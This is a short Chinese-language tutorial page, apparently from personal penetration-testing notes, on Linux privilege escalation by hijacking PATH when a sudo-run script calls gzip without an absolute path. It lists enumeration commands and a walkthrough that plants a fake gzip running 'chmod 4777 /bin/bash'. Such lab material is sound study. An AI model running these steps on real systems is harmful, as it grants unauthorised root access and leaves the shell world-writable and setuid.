> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# PATH 劫持（gzip）- Linux 权限提升

## 这是什么

PATH 劫持利用了特权程序或脚本，这些程序或脚本在调用命令时未使用绝对路径。如果攻击者控制了 PATH 中更靠前的一个目录 `PATH`，特权进程就可以执行攻击者的二进制文件。本页具体聚焦于 **PATH 劫持（gzip）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## 示例

### **路径劫持（gzip）**

我们列出 sudo 权限：

```bash
sudo -l
```

我们找到一个以 root 身份执行的可执行脚本，使用 `gzip` 且未使用绝对路径。

<figure><img src="/files/2255aacdd8703ee89e6a84232dd76b2d6be83965" alt=""><figcaption></figcaption></figure>

#### **创建一个恶意二进制文件**

我们创建一个恶意的 `gzip` 文件在 `/tmp/`:

```bash
chmod 4777 /bin/bash
```

我们修改变量 `PATH` 以优先使用 `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/4c5543ac398d9822e2c305d63a3bc706c2fc60a5" alt=""><figcaption></figcaption></figure>

我们以 root 身份运行该脚本：

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/b06a2d5865311b54586e70b9d3b875af2de42b3d" alt=""><figcaption></figcaption></figure>


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